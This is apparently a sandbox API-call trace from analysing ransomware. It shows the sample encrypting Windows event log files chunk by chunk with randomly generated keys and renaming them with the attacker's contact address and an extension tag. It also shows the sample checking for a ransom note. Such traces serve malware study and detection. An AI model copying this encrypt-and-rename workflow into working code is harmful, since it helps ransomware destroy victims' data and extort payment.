[0060.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0060.723] CloseHandle (hObject=0x5c4) returned 1 [0060.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x33e3760 [0060.767] wcscpy (in: _Dest=0x33e3760, _Source="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" [0060.767] wcscat (in: _Dest=0x33e3760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0060.767] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.767] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3760) returned 1 [0060.768] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0060.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433c68 [0060.768] wcscpy (in: _Dest=0x3433c68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.768] wcscat (in: _Dest=0x3433c68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.768] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c68) returned 1 [0060.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3f40) returned 1 [0060.768] RtlExitUserThread (Status=0x1) Thread: id = 80 os_tid = 0x470 [0060.795] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0060.795] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0060.795] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8 [0060.795] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x742f8fc | out: lpFileSize=0x742f8fc*=69632) returned 1 [0060.795] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.795] ReadFile (in: hFile=0x5b8, lpBuffer=0x742f8d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x742f8cc, lpOverlapped=0x0 | out: lpBuffer=0x742f8d0*, lpNumberOfBytesRead=0x742f8cc*=0x4, lpOverlapped=0x0) returned 1 [0060.797] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.797] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7c8 [0060.797] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b778 [0060.797] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7f0 [0060.797] NtQuerySystemTime (in: CurrentTime=0x742f8a8 | out: CurrentTime=0x742f8a8*=132121176186957704) returned 0x0 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x38006a63 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xeed43c2e [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xf616f367 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x3b9bced0 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x3d7a76b4 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x59b5818a [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x685d87f9 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xaad66de9 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x4c5cf4b [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x5e97fe0c [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x12f786f8 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x1782c7bc [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xa4fc6a82 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x6f416d76 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xcb8e6a71 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x1717ff18 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x5b4eb10e [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x6ebdc1 [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x7800004f [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x52d018df [0060.797] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x3ecfe251 [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xc85fb5d7 [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xe5786cc8 [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x1d50045c [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xf0175975 [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x92132027 [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xa7c28f59 [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xa2670ace [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x2727ae12 [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xa96ae080 [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0xc4a23cbd [0060.798] RtlRandom (in: Seed=0x742f8b4 | out: Seed=0x742f8b4) returned 0x5026abb1 [0060.806] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b818 [0060.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0060.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b840 [0060.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0060.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7c8) returned 1 [0060.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.809] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.809] ReadFile (in: hFile=0x5b8, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x742f880, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x742f880*=0x4096, lpOverlapped=0x0) returned 1 [0060.809] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0060.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6d8 [0060.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6d8) returned 1 [0060.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7a0 [0060.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b688 [0060.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b688) returned 1 [0060.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0060.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.811] WriteFile (in: hFile=0x5b8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x742f880, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x742f880*=0x4096, lpOverlapped=0x0) returned 1 [0060.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.811] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.811] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x742f8b8, lpOverlapped=0x0 | out: lpBuffer=0x347b7a0*, lpNumberOfBytesWritten=0x742f8b8*=0x20, lpOverlapped=0x0) returned 1 [0060.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7a0) returned 1 [0060.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.812] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b840*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x742f8cc, lpOverlapped=0x0 | out: lpBuffer=0x347b840*, lpNumberOfBytesWritten=0x742f8cc*=0x8, lpOverlapped=0x0) returned 1 [0060.812] WriteFile (in: hFile=0x5b8, lpBuffer=0x742f8e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x742f8cc, lpOverlapped=0x0 | out: lpBuffer=0x742f8e4*, lpNumberOfBytesWritten=0x742f8cc*=0x4, lpOverlapped=0x0) returned 1 [0060.812] WriteFile (in: hFile=0x5b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x742f8cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x742f8cc*=0x4, lpOverlapped=0x0) returned 1 [0060.812] WriteFile (in: hFile=0x5b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x742f8cc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x742f8cc*=0x6c, lpOverlapped=0x0) returned 1 [0060.812] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b778*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x742f8cc, lpOverlapped=0x0 | out: lpBuffer=0x347b778*, lpNumberOfBytesWritten=0x742f8cc*=0x20, lpOverlapped=0x0) returned 1 [0060.812] WriteFile (in: hFile=0x5b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x742f8cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x742f8cc*=0x4, lpOverlapped=0x0) returned 1 [0060.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b778) returned 1 [0060.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b818) returned 1 [0060.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b840) returned 1 [0060.812] CloseHandle (hObject=0x5b8) returned 1 [0060.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33ce7c8 [0060.815] wcscpy (in: _Dest=0x33ce7c8, _Source="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" [0060.815] wcscat (in: _Dest=0x33ce7c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0060.815] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.816] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.816] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce7c8) returned 1 [0060.816] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0060.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433e28 [0060.816] wcscpy (in: _Dest=0x3433e28, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.816] wcscat (in: _Dest=0x3433e28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.816] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.816] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433e28) returned 1 [0060.816] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c2d60) returned 1 [0060.816] RtlExitUserThread (Status=0x1) Thread: id = 81 os_tid = 0x714 [0060.817] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0060.820] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0060.820] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8 [0060.820] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x74afed0 | out: lpFileSize=0x74afed0*=1118208) returned 1 [0060.820] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x110ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.820] ReadFile (in: hFile=0x5b8, lpBuffer=0x74afea4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x74afea0, lpOverlapped=0x0 | out: lpBuffer=0x74afea4*, lpNumberOfBytesRead=0x74afea0*=0x4, lpOverlapped=0x0) returned 1 [0060.822] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7c8 [0060.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b778 [0060.822] NtQuerySystemTime (in: CurrentTime=0x74afe7c | out: CurrentTime=0x74afe7c*=132121176187113293) returned 0x0 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x5d7b0e66 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x84cfa732 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0xbc58f32b [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0xeed8660c [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x34d81e73 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0xf83c775b [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x33c81867 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x9b7c592b [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x3bf7cc08 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0xb7897342 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0xb3f2fe1b [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x398bdc33 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0xa8a9edda [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x1964ca0d [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x4441bfe8 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x4112c82f [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x5f989b6d [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0xcbad9e03 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0xab3c73b6 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x3c0fcbd7 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x4ad07195 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x322d6a5e [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x14574f4c [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0xd4445961 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x9726c520 [0060.822] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x6e3b1073 [0060.823] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x932710a7 [0060.823] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x4e4d318f [0060.823] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x978506a4 [0060.823] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x229fb8f2 [0060.823] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x89c75cb [0060.823] RtlRandom (in: Seed=0x74afe88 | out: Seed=0x74afe88) returned 0x812029bf [0060.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b818 [0060.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0060.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b840 [0060.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0060.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7c8) returned 1 [0060.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.833] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.833] ReadFile (in: hFile=0x5b8, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x74afe3c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x74afe3c*=0x4096, lpOverlapped=0x0) returned 1 [0060.834] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0060.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b890 [0060.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b890) returned 1 [0060.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7c8 [0060.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b890 [0060.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b890) returned 1 [0060.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0060.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.835] WriteFile (in: hFile=0x5b8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x74afe3c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x74afe3c*=0x4096, lpOverlapped=0x0) returned 1 [0060.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.835] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.835] ReadFile (in: hFile=0x5b8, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x74afe3c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x74afe3c*=0x4096, lpOverlapped=0x0) returned 1 [0060.836] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x893ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b688 [0060.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b688) returned 1 [0060.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7a0 [0060.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6b0 [0060.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6b0) returned 1 [0060.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.837] WriteFile (in: hFile=0x5b8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x74afe3c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x74afe3c*=0x4096, lpOverlapped=0x0) returned 1 [0060.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.837] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x10cf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.838] ReadFile (in: hFile=0x5b8, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x74afe3c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x74afe3c*=0x4096, lpOverlapped=0x0) returned 1 [0060.838] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x10cf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0060.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b890 [0060.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b890) returned 1 [0060.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b890 [0060.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b8b8 [0060.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b8b8) returned 1 [0060.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0060.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.839] WriteFile (in: hFile=0x5b8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x74afe3c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x74afe3c*=0x4096, lpOverlapped=0x0) returned 1 [0060.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.839] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b7c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x74afe98, lpOverlapped=0x0 | out: lpBuffer=0x347b7c8*, lpNumberOfBytesWritten=0x74afe98*=0x20, lpOverlapped=0x0) returned 1 [0060.840] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x74afe98, lpOverlapped=0x0 | out: lpBuffer=0x347b7a0*, lpNumberOfBytesWritten=0x74afe98*=0x20, lpOverlapped=0x0) returned 1 [0060.840] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b890*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x74afe98, 